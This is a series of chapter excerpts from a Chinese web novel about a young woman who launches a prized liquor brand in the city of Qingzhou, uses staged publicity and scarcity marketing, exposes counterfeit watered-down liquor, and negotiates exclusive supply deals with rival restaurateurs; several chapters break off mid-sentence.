另一个灰袍男子也附和:“田兄莫气,今天咱们兄弟俩要好好喝个痛快!”说完瞪了店小二一眼“还不去上酒?” 店小二内心:得了!又是两个难缠的客人,看在银票的份上他忍了。 不一会,店小二端着一壶新酒过来了,殷勤的给他倒好酒:“客官,这是咱们青州城里最有名的青斋酒了,您尝尝。” “是吗?”蓝衫男子怀疑道,接着喝了下去。 店小二期待着看着他的反应,这回客官总会满意了吧! 蓝衫男子喝了一口酒,咂咂嘴,满脸疑惑看着店小二:“你没唬我吧?这是你们这最好的酒?” 青斋酒是正儿八经的酿造酒,口感微酸微甜,还带有一丝苦涩感。 一边的灰袍男子也给出评价:“这酒一般呐!还比不上咱们幽州的天禄酒。” 此时正值饭点,蓬莱居里上上下下全是来吃饭的客人,他们两人闹出的动静很快引起了其他食客的讨论。 店小二余光一瞟,发现很多食客一边吃着饭一边着看热闹,他脸上的笑容一僵,尬笑道:“是、是吗?” 蓝衫男子对着灰袍男子遗憾的说道:“只可惜在这里喝不到天禄酒,只能勉强喝喝其他的酒了。” 呵!贬低青州的酒,抬高自己家乡的酒,店小二有理由怀疑这两人是来找茬的。 灰袍男子:“田兄可曾听说太白酒?” “什么太白酒?” “几月前,我路过青州,在集市上尝到过太白酒,它的酒液如水般清澈,口感如烈火般辛辣。”灰袍男子边说边露出陶醉的神情。 “哦!竟有如此神奇的酒?” “没错,田兄可曾听说过青州城里流传的一句话,‘一碗酒醉倒一个大汉’其中的一碗酒说的正是太白酒!” 两人自顾自的说着话,他们的声音大小不小,邻座的人都能听见。 他们的谈话内容把众人的记忆拉回到几月前,这句话他们都有印象,当时大街小巷里都在说这句话,还有人说要想证明自己的酒量好,就去挑战喝太白酒吧! 连一碗太白酒都抗不过人,不配说自己酒量好。 蓝衫男子听他说完转头看着店小二:“哎!你们青州不是有那个太白酒吗?快拿上来让我尝尝。” 太白酒又是啥?店小二心里十分苦涩,当即向在柜台的徐尚强投去求救的眼神,他只是个在酒楼里做工的店小二罢了,这些客官为难他有什么用。 徐尚强带着笑脸来到两人眼前,语气却很强硬:“两位客官,不知对我们蓬莱居有何指教?” 蓝衫男子看到能管事的人来的,本来有点心虚,但想到手里的一百两银票后立刻变得硬气起来。 “掌柜的言重了,指教不敢谈。”对上徐尚强的眼神,“我们兄弟二人自幽州而来,听闻蓬莱居里的美酒菜肴都是一绝,今天亲自来试了才知道,蓬莱居也不过如此。” 徐尚强听得脸色发青,反问道:“哦?客官何出此言?蓬莱居可是有哪里招待不周了?” 蓝衫男子开始挑剔,“你是掌柜吗?你来尝尝这桂花鱼条和八宝兔丁,还招牌菜呢,如此难吃的标牌菜我会是头一回碰到,菜寡淡无味也就罢了,怎的酒也是这样水垮垮,一点也不带劲。” 傅知乔暗自发笑,这两人的演技确实不错,他们虽然是在演戏,说着说着倒也有了几分真情实感,幽州一带是嗜辣地区,青州的菜与之相比可不就是显得寡淡无味嘛! “我们兄弟可说了,蓬莱居是青州城里首屈一指的酒楼。” 徐尚强听到夸奖后面色稍霁,还不等他做出反应,蓝衫男子继续叭叭叭“掌柜的,你别欺负我们是外地来的就不给上好酒,你们青州不是有太白酒吗?就是能醉倒一个大汉的那种酒,快拿出来来让我见识见识!” 灰袍男子:“对!快拿出来!” 傅知乔敲了敲桌子,德福领会到意思,主角已经上场了,隐藏在人群里的水军开始出来带节奏。 “掌柜的,既然这位公子想喝太白酒,你就拿出来让他尝尝到底是我们青州的酒好,还是他们幽州的酒好。” “对啊,到底谁的酒好拿出来比比不就知道了吗?” “他们凭什么说我们青州的酒比不过。” “掌柜的快拿出来,让他们心服口服!” “比一比!” 此时酒楼里的食客的情绪都被煽动起来了。 青州城作为一个商业繁华的大城市,往来的商客确实很多,外地的食客也饶有兴趣的在看热闹。< 25. 酒铺开张 《女商崛起》全本免费阅读 十一月三日,宜入宅、安床、开张、嫁娶。 酒铺开张的日子就定在这天,崔嬷嬷特地找人算出来的黄道吉日。 傅知乔早早地过来盯着开业现场了。 一个铺子要想让客人印象深刻,就必须得有自己的风格。走进铺子里,内部全都是仿照现代风格打造的,一进门就是结账的柜台,柜台后面是一整墙的柜子,上面摆的全是酒坛。 原本封闭的墙面开了面窗口,整个厅堂宽敞明亮,厅内一长排的桌子是给客人品酒的,桌椅都是由上等的梨花木雕制而成的,大到桌椅柜子,小到摆件装饰,处处都显得精致奢华。 正墙当中挂着的一大幅“人生得意须尽欢”的字帖,字迹苍劲有力,大气磅礴,极具视觉冲击力。 铺子外面,匾额上挂着一块红绸布。 酒铺外面已经聚集了一些围观的百姓,就在众人好奇的心里直发痒的时候,酒铺的大门打开了。 吉时已到,一声锣响。 伙计点燃了鞭炮,噼里啪啦的响声过后,正式开始揭牌仪式。 傅知乔是以少东家的身份出席的,她没有再穿男装,而是以女子身份正式亮相。她穿了一身团花凤尾裙,裙摆层层叠叠,站在人群中极为扎眼。 哗的一声,招牌上的红绸布被她扯了下来,露出了底下金光闪闪的“太白酒铺”几个大字。 高老头和德福带着店里的伙计们带头欢呼。 揭开招牌,升起酒旗,青州百姓期待了数月之久的太白酒铺终于开张了! 高老头换了一身新衣服站在门口招呼客人:“太白酒铺今日开张,多谢诸位来捧场,多谢!” 高家酒铺虽改名太白酒铺,但高老头还在店里做事,周围的街坊们便以为这还是他的店,见他精神抖擞,跟之前欠债卖店的时候简直判若两人,纷纷前来祝贺。 也有人感到好奇,高老头的酿酒手艺怎么突飞猛进,“高师傅,这酒真是你酿的?”话一出口立刻被身旁的人堵了回去,“你这小子胡说什么呢?不是高师傅酿的难道你是酿的?” “高家真的时来运转了,看样子这是要发大财啊,我怎么就没有这样好的亲戚。” 高老头笑笑没有解释,傅知乔早就打过招呼,为了减少不必要的麻烦,表面上他还是这家酒铺的老板,她自己则用少东家这个身份,这样不容易引人注目。 酒铺大门一开,店里的伙计开始忙碌着招呼客人。 经过这么久的宣传,太白酒在青州城里也算名声在外了,除了前来围观的百姓,还有不少富豪财主们派来的人。 酒的存货有限,傅知乔一早就跟店里的伙计打好招呼,除开预定过的人,其他人一律只卖一坛。 酒铺门口也贴了告示:“太白酒是秘法特制,工艺复杂极为珍贵,为了让更多的人能买到,因此每人每天限购一坛。” 虽然十两银子的天价劝退了不少人,但是来买的酒的人依然排了长龙,青州靠近京城,这里的消费水平本来就比其他其地方高一些。 酒是消耗品,铺子里每天定量供货,当天卖完就只能等第二天,才能让市场处于半饱和的状态。 果然,一人只能买一坛的消息一出,排队的人更多了。 高老头不解,买酒的人越多他们就赚的越多,为何还要搞着劳什子限购?他们买的酒多了不是好事吗? 傅知乔站在楼上看着排队来买酒的人,心情大好,给他解惑:“高师傅,整个青州城,乃至整个大魏都只有我们能酿,正是因为它的独有性、稀缺性,才能让这么多的人追捧。” 这是资本家的“饥饿营销”手段呀! “要是人人都能喝得起,那如何体现出富人们的优越性呢?他们喝的不只是酒水,是身份、是地位,更是体面啊!” 傅知乔瞄准的就是高端人群市场。 富商财主嘛,衣食住行都讲究个名声派头,自然要跟普通百姓区分开来。 这个价格对于对于城里的富商财主而言,根本不是问题,太白酒越珍贵、越难买,越能体现他们的身份。 高老头似懂非懂,他没有达到富人的阶级,自是不懂他们的心思,只觉着东家小小年纪却能精准拿捏人心,着实厉害! * 太白酒铺开张的帖子早就送到了之前预定过的客人们手中。 傅知乔也收到了部分回信。 不远处,一个身材微胖,穿一身绣着暗纹的长衫的中年人正从马车上下来,看到乌泱泱的人群立马惊到了:“怎么这么多人?” 此时酒铺门口,排队的、看热闹的围了一圈人,还有一群穿着白衣黑裤的伙计正在维持秩序。 看这些排队人的衣着打扮,多半是家里的小厮或者护卫,也对,有头有脸的人怎么会亲自来排队。 酒铺大门口立着两张牌子,分别写着购买通道和预定通道。 很显然,预定通道是专为预定过的客人门服务的。 中年人站在寒风中观望了一会,他身旁的小厮见没有人来迎接,嘟囔着抱怨了两句:“掌柜的,这太白酒铺真是怠慢。”这太白酒铺的老板亲自写信邀请掌柜前来,结果他们人来了却看不到迎接的人。 此人正是德云酒楼王掌柜,他早在三月前就预订了二十坛酒,收到傅知乔的邀请后,他带着两个伙计迫不及待的要把酒带回去,只是没有想到这么多人在排队,这着实有点出乎他的意料了! 用眼神制止了小厮的抱怨,他拿着一张收据,拢了拢袖子径直走向了预定通道。 伙计拿着收据确认了他的身份后,把他引进了店里。 王掌柜点了点头,不排队自然是再好不过了。 队伍距离门口三四米远,正在排队的人看着王掌柜后眼里流露出的羡慕神色,王掌柜脸上保持着平淡自若的神情,心里却乐开了花。 暗暗夸赞这太白酒铺的老板会做事。 这叫什么? 这叫面子! 这叫排场! 有人羡慕自然也有人不爽,看到有人后来居上,辛苦排队的人脸色都不太好看,交头接耳在猜测他的身份。 王掌柜整日在百味楼里露面,很快就有人认出来了。 一个小小的掌柜而已,并不是什么达官贵人,有人心里有底了,当下扯开嗓子嚷嚷。 “搞什么?本公子已经排了这么久,凭什么他先进去?”一个高高瘦瘦的公子哥率先表达不满。 “这不公平,不公平。” “对,不公平。” 人群里一阵躁动…… “大家都不要急,稍安勿躁,稍安勿躁,按照顺序一个一个来。” 一个身穿蓝色长衫的中年人,指着门口质问道,“他怎么不用排队就能进去?” 德福见状赶紧过来,指着预定的牌 26. 免费品酒 《女商崛起》全本免费阅读 因为是开张第一天,所有来铺子里买酒的人都会有一次免费品尝太白酒的机会。 这点是傅知乔特别要求的,每人一小杯酒,让客人们尝味道的同时也不至于喝醉。她给还特地让人准备了茴香花生,来给第一次喝烈酒的客人们下酒,又是限购又是免费喝酒的,总之,这次开张噱头十足! 免费的的酒不喝岂不是亏了?有些原本持观望态度的人们也愿意来酒铺凑这个热闹。 为了给客人们一个良好的购物环境,防止喧闹声,酒铺里规定了每次进店的人数是有限制的。 十一月的寒风吹得酒旗直打晃,张嘴就能哈出一口凉气,众人纷纷搓搓手跺着脚,店内的限流政策导致外面排队的人更加不好受。 门口虽燃了炭火,但也不起什么作用。 伙计们时刻注意着队伍中的状况,不敢分心。因为少东家吩咐了,要把外面排队的人数控制在十五人左右,千万不能超过这个人数,一旦队伍过长就会引起人们的反感情绪,那就不好了。 酒铺门口的伙计个个面带笑容,作揖欢迎他们进店,进来后的服务态度也很好,令普通百姓们也感受到了尊重。 在寒风中排了队进到店里后喝杯酒暖暖身,全身上下都透着舒爽! 一杯下肚,所有人的眼睛都亮了起来,他们能清晰地感觉到自己的身体开始热了起来。 “唉,一杯不过瘾,还想再喝几杯呢!” “喝过这太白酒,以后喝其他的酒怕是索然无味了。” “是啊!连青斋酒都比不上它!” “好烈的酒!看来一碗太白酒醉倒一个大汉的传闻确实不假!” “再来一杯!” “我也再要一杯!” 要续杯的声音此起彼伏。 青斋酒是青州的名酒,是五十年前本地一个官员乃所酿,流传至今,在青州人眼里这是本地最好的酒。 傅知乔也没想到,大家们能给出这种评价,看来太白酒的口感已经得到了大多人的认可。 “诸位,此酒珍贵,工艺复杂产量极低,怕是不能一一满足各位的要求,一人两杯,不能再多了!还请见谅!” 德福的姿态放的很低,也不忘提醒众人太白酒的珍贵与稀少,他很清楚地记得姑娘说过,无论什么东西,越罕见就越珍贵。 花十两银子买酒的人都是有些家底的人,逼着店家要酒喝传出去多不像话。反正免费的酒喝到了,酒也买到了,心满意足的回家去了。 王掌柜看到太白酒如此受欢迎,立刻觉得自己只买二十坛酒实在是太少了。 不行,他还要买更多的太白酒回去才行。 如果说王掌柜一开始是抱着凑热闹的心情过来买酒的,那么现在他的态度已经完全改变。 太白酒在他的眼中顿时变成了香饽饽。 王掌柜悄悄找到宋大力表明自己想要买酒的意愿,宋大力笑呵呵地问道:“不知王掌柜要买多少?” “再来五十坛!” “王掌柜稍等片刻。”宋大力一听这数量不是他能决定的,立马去请了德福。 德福走过来拱手行礼,面露难色:“王掌柜,实不相瞒,这么多酒我们一时间也拿不出来。” “为何?” “您也知道,很多客官都是提前来我们这儿订酒的,除开您之前预定的二十坛酒,实在是没办法再多卖给您五十坛了。” 王掌柜想到了当初预定酒的盛况,不禁感到头痛,这太白酒是肉眼可见的对百味楼有助力,随即掏出了一锭银子悄悄塞给德福,“福掌柜通融通融?” 德福看他熟练的塞银子动作,嘴角一抽,拒了:“王掌柜,不是我不帮你,是真的没有更多的酒了。” “福掌柜,真的不能再想想办法了吗?” 德福仔细观察着他的神色,“其实,也不是没有办法。” 王掌柜:“……” 有你这么说话大喘气的吗? 见事情还有转机,他当即追问道:“什么办法?” 两人单独进了会客室。 “王掌柜,只要百味楼与我们签买酒的契书,那么就能享受优先买酒的权利,当然了,每月不得少于两百坛。” 一坛酒十两银子,两百坛就是两千两,虽然百味楼不差这点钱,可数月累计下来也是一笔不小的钱了,王掌柜有些犹豫。 德福微笑,刺激着他,“若是没有这个契书,您下次来来买酒就不一定能买到了。” 王掌柜:…… 这难道不是威胁? 德福趁机再加一把火:“当然了,您卖多少价格我不管,能不能卖出去也与太白酒铺无关。” 王掌柜心里算计着,他十两银子买进来,可以十二两银子卖出去,还可以借着太白酒的名气招揽客人,这笔买卖不亏。 不过,谈生意嘛,就是要你来我往。 王掌柜:“福掌柜你可莫哄我。” “五家,太白酒只给五家酒楼供酒,王掌柜不妨考虑清楚。” 其实德福心里也是捏着一把汗,这是他第一次谈生意,此刻藏在衣袖里的手都有些发抖。他心里不断用傅知乔的话给自己打气,“我们是做生意,不是求人办事,要稳住、要稳住……” 听姑娘的话准没错,德福继续说道:“等到太白酒口碑和名气打出来,王掌柜买不到太白酒时,可别怨我没告诉你这个办法。” 只有与太白楼签订买酒契书的情况下,才能买到酒,否则没有多余的酒能卖给你。 你想买? 那对不起,排队等着吧…… 青州城里大大小小的酒楼没有成千也有上百,太白酒铺只打算与五家酒楼签订供酒契书,王掌柜想到酒铺外排队的人,或许这还真是个机会,百味楼必须要抢占先机。 他不是个迟钝人,随即也笑开来,“那以后就多劳烦福掌柜关照了。” 德福心里松了口气,代表太白酒铺正式与百味楼签订了供酒契书。 * 酒铺开张的第三日,傅知乔正打算看看这两天的销量,“少东家,彭老板到了。”敲门的声音倏地响起,打断了她的思绪。 彭老板? 傅知乔立刻反应过来,彭高飞带着他的队伍来取酒了,酒铺开张的消息早在一个月前就写信通知他了,算算日子也快到了。 这回是傅知乔亲自接待。 太白酒铺内,彭高飞观察着酒铺里内的陈设,心里赞叹傅知乔果然是个妙人,从酒到铺子的装饰无一不是精品。 傅知乔和彭高飞寒暄了两句后直奔主题,还把他带到仓库里验酒。 傅知乔拿出一坛酒仔细介绍着,还把辨识防伪编号的方法告诉他,酒坛上有明显的标记,让人 28. 防伪标签 《女商崛起》全本免费阅读 这一瞬间,酒铺里变得十分安静,哪怕一根针掉在地上都能听见! 什么?太白酒铺里竟然卖假酒! 不会吧!刚刚付钱买了酒的人面色都不太好看,他们花十两银子买的居然是假酒? 陈正一听她亲口承认了,更加得意。 “大家都都听见了,承认了!太白酒铺承认自己卖假酒了!” 傅知乔一脸严肃,漆黑的眼眸仿佛能折射出人心底的想法:“酒坛是我家的没错,可酒液就不一定了。” 酒是真的,只不过里面的掺了水而已,相当于拿正品的包装盒去装假货,一般人仅从外观很难看的出来。 陈正脸上的笑容都还没有来得及收回,就僵住了。 “你……你什么意思?” 围观的众人互相看了一眼,眼中都是疑惑。 “这是太白酒没错,不过酒中被人兑了水,各位若是不信……” 傅知乔顿了顿,指着身后一整面墙的酒柜:“我家铺子所有的酒水都在这里,各位可以在所有的酒水中任意的挑选一坛出来品尝,看看我们的太白酒是否有问题。” 傅知乔对着陈正:“既然你说我们的酒有问题,这面墙的酒你随便挑一坛出来。” 陈正没有动作,他已经被这一番操作弄懵了。 傅知乔转头看向人群中,“陈公子不选,那么就请诸位来选吧!” 看热闹的人一个个都来了精神,你一句我一句,最终推举出了一位老者,看样子在这条街上颇有威信。 老人家捋了捋花白的胡子:“第二排第七坛。” “来人!” 傅知乔招呼一声,铺子里的伙计们拿了十几个杯子立刻行动起来,随即她又在看热闹的中选了一些人,还有自告奋勇出来作证的。 很快,两组酒都倒好了。 傅知乔指了指放在桌子上的两排酒杯开口道:“上面这排是陈公子拿来的酒,下面这排是铺子里的新酒,两坛酒都是当着大家伙的面倒的,做不了假,现在就请各位来品鉴一番。” 先喝的是陈正手里的太白酒,傅知乔做了个有请的手势。 然而,却没有人上前,万一把人喝坏了怎么办?十个来试酒的人站在原地,面面相觑。 德福站出来,主动先喝了一杯:“这酒我刚刚已经喝过了,此刻还不是好好的站在这里,诸位放心,酒里没毒,只是被人掺了水而已。” 其他人看他喝完酒后没出问题,也开始拿起上面那排的酒认真品尝起来了。 这太白酒也没有传说中的那么好喝啊!但是,当着人老板的面说他的酒不好,回头会不会被打击报复? 傅知乔见他们面色犹豫,鼓励道:“各位有什么意见但说无妨。” “酒色确实新奇,酒香也很好,就是有些涩口。” “酒味很香,喝起来却淡淡的,余味却不足。” “吹过头了吧,这太白酒也没有传闻中那么出彩。” 听了众人的评价,陈正点点头,愈发觉得自己个个冤大头一样,十两银子白花了。 德福小心提醒:“下面一排的酒是酒铺里现开的,是货真价实的太白酒,酒劲霸道,小口慢品为佳。” 第一杯酒的口感已经降低了众人的期待感。 几个人开始喝第二杯酒,喝完杯中的酒,没有人说话了,这杯太白酒跟跟先前那杯完全不一样。 酒液入喉,一股辛辣感袭来,随后就是一股淡淡的大米清香在唇齿间回荡。 “两杯都是太白酒吗?怎的差距如此之大?” “入口醇和,满嘴酒香,实乃好酒!” 一个脸色红润的微胖公子说道:“是啊,我第一次喝这么好这么烈的酒。” 老者细细的品了品,随后点点头:“辛、辣、烈,酸味不浓,入喉爽滑,余味让人回味,这杯酒,胜过第一杯。” 所有人都认同第二杯更好喝,觉得它才是真正的太白酒。 “这不可能!”听到四周的议论,陈正的脸色不好看,拿起酒杯仰头就喝了下去。 浓烈的酒香直接闯入肺腑,味道是辛辣的,但细品又有点回甘,原来真正的太白酒是这样的,陈正自己也是相当震惊,他买到假酒了? 美酒里兑水,简直是暴殄天物!已经品尝过太白酒滋味的人岔岔不平。 正巧宋大力带着济世堂的大夫回来了。 老大夫仔细诊脉后说陈泽是虚寒腹泻,“腹部胀闷,宿食积滞,食生冷则腹泻加重。” 老大夫的诊断和那个郎中说的“伤食腹泻”意思差不多,陈泽确实是饮食所伤,他本就脾胃虚弱,肠胃的消化功能较差,肠道积攒的食物过多,加上几杯冷酒下肚,导致肠胃运化彻底失常,从而引起他腹痛腹泻。 太白酒只不过是引子罢了,算不上罪魁祸首。 陈正的脸一阵红一阵白,继续嘴硬:“就……就算是这样也不能证明你的酒完全没问题,你刚刚亲口承认了这酒是假的。” 他身后的亲戚附和道:“对!你自己说的假酒。” 傅知乔再问陈正:“这位客官,你确定是你亲自来买的酒?打开酒坛的时候上面的封纸完好无损?” 陈正哪里记得这些细节。 傅知乔当着众人的面拿出一坛新酒,指着上面的标签解释:“诸位请看,太白酒铺出品的每一坛酒都有属于自己的标签。” 接着又展示了酒坛的外观,“真正的太白酒酒坛底部有凸出的“傅”字标识,封纸上还有傅字印章,这三者缺一不可。” 她特地做了三重防伪,买的时候仔细一些就能辨别出来。更何况,封纸上的印章图案一旦损坏就无法复原,而想要打开酒坛就要必须把封纸撕破,一个连封纸被损坏过的酒自然不会是真品。 傅知乔这一问好像拉回了陈正的理智,因为酒确实不是他亲自买的,而是从小使手里买来的。 他的沉默,也让看热闹的人察觉到什么了。 “陈正,你快说呀,这酒不是你亲自买的。” 询问声把陈正从回忆中拉了回来,面对周围人质疑的眼神,他一点嚣张气焰都没了。 陈正交代了,这坛太白酒,他是从小使手里买到的。 昨天县试放榜,下午陈泽下学回家说自己考上童生了,而且学院里的老师很是看好他,说以他的学问水平来说明年极有可能会考上秀才。 秀 29. 谈合作1 《女商崛起》全本免费阅读 蓬莱居里,徐尚强和燕展石坐在桌子前,一脸的严肃。 徐武带着一坛太白酒回来了,他对徐尚强摇了摇头,详细说起了今天在太白酒铺发生的事,接着,徐武讲述了太白酒铺做的防伪标识并展示给两人看。 “这倒是新鲜。”燕展石对此很感兴趣。 “哼!”徐尚强冷哼一声。 一时无语。 随着酒坛慢慢被打开,燕展石的神情也从严肃变得激动。 徐尚强也难掩好奇之心,传说中的太白酒,今天终于见到了它的庐山真面目。 徐武在太白酒铺外看热闹时就已经见过了,徐尚强和燕展石是第一次见,他俩的眼珠紧紧盯着酒杯。装酒的是最普通的陶瓷杯,即便是这样,这太白酒用琼浆玉液来形容真的不为过! 徐尚强也不是那不识货之人,这太白酒从酒色、酒香、酒味上确实胜出青斋酒许多了。 舀出一杯尝了尝味道,燕展石啧啧称奇。 “燕师傅,怎么样?看出什么门道了吗?”徐尚强急忙问道。 “恕老朽看不出来,如此清澈的酒液不知道用了什么酿酒方法,依稀能闻到大米的清香,但具体用的是何种米、分量多少、加了什么东西,都没办法知道。”燕展石回答道。 燕展石年过半百,是青州城里德高望重的酿酒师,没想到连他都看不出来,徐尚强十分失望。 难道要眼睁睁的看着自家客人被抢走吗?前几日,有两个莫名其妙的行脚商人在蓬莱居里吃饭,公然说青斋酒不好喝,点名要喝太白酒。 这种一捧一踩的行为大大提升了太白酒的名气。 难道以后,太白酒都要压青斋酒一头?一想到这里,徐尚强脸色顿时变得凝重起来。 青斋酒的酒庄他可是占了两成股的,现在青斋酒被太白酒压了一头,他的损失也不小。 徐尚强完全没想到是这种局面,一开始他只当太白酒是个新鲜玩意,酒还未开张酒能卖出去上千斤酒,他最初只是想分一杯羹而已,才叫人去挖高老头,招到自己麾下。 结果人没挖过来,太白酒发展的势头也越来越猛,让他不得不重视起来。 沉默了片刻,徐尚强控制自己的情绪,但心里那口气始终堵在了嗓子眼,上不去下不来,非常难受。 要是这太白酒是他的就好了。 在酒楼这个行当,偷学别人的当家菜式放在自家酒楼里卖,又不是什么稀罕事儿。 若是太白酒能归到他们蓬莱居旗下,一切问题都将迎刃而解。 徐武看懂了他的心思,立即献计:“那剩下的就只有一个办法了!” “什么办法?” 徐武:“咱们把太白酒的方子买下来。” “若是他们不卖呢?”燕展石诧异,拥有这种技艺的人,恐怕不会轻易被金钱打动。 徐武:“伯父亲自前去定能成事,之前他们不卖是因为不知道买方子的人是伯父。” 不试试怎么知道不会成功,若是对方不愿,他也有无数种方法达到目的。徐尚强摸了摸胡子,看来,有必要亲自去一趟太白酒铺了。 * 酒铺里看热闹的人渐渐散去,傅知乔坐在书桌前沉思,这件事情或许并不如表面上那么简单。 “去查查那个老三。” “姑娘,你怀疑那个老三是被人指使的?” 德福私底下还是习惯称呼她为姑娘,这样更能体现出他们之前的亲厚感。 “不排除这个可能。” 几个凑巧全都凑在一块了,让她不得不起疑心。 酒铺生意太好也很得罪人了。 这段时间太白酒大出风头,城里有大把眼红的人,他们早就明里暗里的打听酒方子了。 傅知乔将首个怀疑目标放在了蓬莱居。 她在蓬莱居里投放水军的行为必然会引起对方的注意,尤其是看到太白酒如此受欢迎,蓬莱居不可能毫无动静。 换位思考,若是有人这么对自己,她也是要报复回去的。 “没有证据,但推测应该是清河崔氏和太原王氏两家,现在他们两家在关中粮食最多。” “东家,蓬莱居的掌柜求见。”门外响起德福的声音。 来了来了! 本来她还不确定陈正事件是不是蓬莱居的手笔,现在几乎可以肯定了,那个老三就是他们安排的人。 打听方子不成就来捣乱,多亏她留了一手,不然就栽在他们手里了。 真是不死心,一招失败就出另一招了,不过短短几天时间便已经按捺不住亲自找上门来了。 “东家,要见他吗?” “见,请人进来。” 因为是在自己铺子里,傅知乔没有特意打扮,穿着一袭常服大大方方的坐在主位上。 德福站在她身后分别向两人介绍彼此的身份。 看到傅知乔,徐尚强心里的异样感终于被解开了。 他就说,高老头哪里来的本事敢去蓬莱居挑衅,只是没想到这背后的高人居然是个小姑娘。 很难想象这样一位手无缚鸡之力的柔弱女子会是太白酒铺的背后之人,即便如此,徐尚强并没有把她放在眼里,哪怕是他曾经在她手里吃过亏。 若是傅知乔知道他心里的想法,也要感叹一声:刻板印象害人啊! “傅老板,徐某冒昧登门……”简单客套两句后,徐尚强开门见山:“傅老板,太白酒的秘方我蓬莱居收下了,你开个价吧!” 傅知乔:…… “两万两!” 哦豁,这个徐尚强还算大方,一开口就是两万两,只不过这点钱傅知乔还不放在眼里,她动动手指就能赚回来了。 傅知乔摇摇头:“徐老板,恕我不能答应。” “傅老板别着急拒绝,价钱上好商量。” “一百万两。” 傅知乔的话音刚落,徐尚强身后的小厮倒吸一口冷气。 徐尚强也好半晌没反应过来。 多少?一百万两?他没听错吧?显然,他没想到傅知乔会开出如此高的天价。 徐尚强清了清嗓子:“我是诚心来买方子的,还望傅老板不要狮子大开口。” 傅知乔笑着,“那徐老板觉得我这太白酒价值几何?" “五万两。” 傅知乔懒得回话了。 “十万两。”徐尚强咬牙,这是蓬莱居的底线了。 “一百万两,一个子儿也不能少。” 徐尚强的脸彻底的黑了。 傅知乔抬眸直视他:“徐老板也是识货之人,以太白酒的价值,一百万两并不过分。” “来找我买方子的人 30. 谈合作2 《女商崛起》全本免费阅读 谈判的有效手段,先打个巴掌再给个甜枣,她的巴掌已经打在徐尚强脸上了,接下来就是要上甜枣了。 傅知乔其实并不愿意与徐尚强作对,她在青州城毫无根基,而对方却是黑白通吃,若是硬碰硬,吃亏的只会是自己。 徐尚强能将蓬莱居做到青州城里首屈一指的位置,绝非泛泛之辈。 她在赌,赌徐尚强要保住自己的名声,有了这层顾忌蓬莱居就不会直接在明面上打压她,只敢暗地里做些小手段罢了。 陈正就是最直接的例子,除了耍小手段恶心人,他们也不能拿她怎么样。 很明显,她赌赢了。 这事要是搁上一世,她谁也不怕,但现在置身于这样的环境,手中没有一点力量是不行的。 太白酒作为全新的一个酒类,它的市场前景绝对是很好的。但目前仅凭傅知乔一人之力很难守住,徐尚强看上太白酒也是为了赚钱,既然她一个人吞不下全部市场,不如多拉几个人进她的队伍。 徐尚强的底细她已经弄清楚了,他背后的权势正好是她可以利用的,她必须要争取到对自己有利的条件,“我这里有个折中的法子,不知道徐老板感不感兴趣?” “什么法子?”徐尚强真的猜不透眼前这人到底在想什么。 “太白酒的秘方我肯定是不卖的,不过,我可以把酒卖给蓬莱居。” 坚决不松口卖酒方子,降低对方的期望值,再抛出买卖的法子,然后就是顺理成章的事了。 徐尚强一听,酒方子买不成,能买酒也行。 人的底线就是这么一点点降低的。 鱼儿好不容易上钩,傅知乔可不轻易放过他,说道:“蓬莱居每月必须来酒铺订酒,每次不得少于六百坛。” 六百坛酒,就是六千两银子。 价格倒是能接受,但心里始终觉得不爽快,他徐尚强,在青州城好歹也算是一个有头有脸的人物,现在被一个小丫头牵着鼻子走,传出去像什么话。 “我若是一定要买方子呢?” 傅知乔:…… 这是什么意思?是在跟她堵气吗? 傅知乔皮笑肉不笑:“那蓬莱居来买酒便只能按酒铺里的规矩办事了。” 按照酒铺的规矩,一人只能买一坛,酒铺里每天定量供货,就算他每天都叫人早早过来排队,一天买上几坛,又怎能抵得上蓬莱居每天的酒水消耗呢? 在高端稀有的产品市场中,卖方永远是占据主动地位的那一边。 因为产品的“唯一性”可以为卖方争取到更多的利益,换句话说,太白酒铺打定主意不卖给徐尚强酒的话,那么他再有钱也买不到。 这个认知让徐尚强感到心塞,知道自己在她手上是讨不了什么好处的,他话锋一转:“傅老板,咱们还是继续谈订酒的事宜吧,徐某愿闻其详。” “蓬莱居每月订酒不得少于六百坛,为期五年,至于蓬莱居如何定价如何售卖,我是不管的。” 蓬莱居的酒水价格本就比外面的酒水贵,一坛酒拆成几份散卖,折算下来比十两银子更贵些。 如此一算,蓬莱居是稳赚不赔的。 “六百坛不是小数目,只是这价格……” 想压价?没门! 傅知乔笑着说:“十两银子一坛并不贵,太白酒就算在整个大魏也是独一份的,我敢说把它放在蓬莱居里卖,一年至少能赚十万两以上的利润。” 这可不是傅知乔胡诌,青州城接近七八十万人口,蓬莱居又属于高档酒楼,里面的消费是不低的,一年赚十万两还是个保守的数字。 不得不说,徐尚强心动了。 看着面前神色坚定的女孩,徐尚强莫名有一种直觉,觉得她能做到。 如果真如傅知乔所说的,蓬莱居一年的酒水至少赚十万两,那么自己可以在家族里的地位可以再升上一升了,族长之位指日可待。 想当年,他妹妹徐双琴二八年华嫁给而立之年的方立诚,背地里有不少族人唾弃他卖妹求荣,可如今方立诚身居高位,凭借着这层关系他也在青州站稳了脚跟,整个徐氏家族都要沾他的光,那些眼红的族人也只敢背地里酸他几句而已。 收敛了思绪,徐尚强问道:“傅老板的酒铺里可还卖些什么酒?” “目前只有太白酒。” 目前?徐尚强听到了重点,意思往后还会有别的酒。 “方便去酒库看一看吗?”徐尚强问。 这是要验货的意思了,看来这笔生意要成了。 “徐老板请随我来。”傅知乔伸手做出了一个请的手势。 徐尚强跟随傅知乔进到另一侧的库房内,随着酒库里的烛灯被点燃,视线也变得清晰,徐尚强目光如鹰隼般锐利,从上到下扫过每个角落。 库房里放是全是三层的大木架,架子上面摆满了酒坛,据他估算,这个库房里的酒水不下于五百坛。 徐尚强心里诽腹:居然有这么多的存酒,也不怕放久了变味。 “怎么样徐老板?这些酒能否入您的法眼?” 徐尚强深思了一会,严肃的看向傅知乔。 “我若是买了你的酒,回头你再将酒方子高价卖出去,我岂不是亏了!” “这点徐老板多虑了,我既然把酒卖给了你,便不会把酒方子卖给其他人,这点会写在契书上,做不得假。” 徐尚强点点头,如此一来,便能各取所需。 见傅知乔已经退了一步,徐尚强眼中精光一闪,准备乘胜追击争取更大的利益。 “每月订六百坛酒不成问题,不过,太白酒铺不能再往其他的酒楼供酒了!” 徐尚强很清醒,既然价格谈不下来,那购买渠道他要掌握在手里,最大程度减少其他酒楼的竞争力。 傅知乔毫不犹豫的同意:“可以,往后太白酒不会出现在别的酒楼!不过百味楼的掌柜已经先一步跟我们谈好了……” 徐尚强:…… 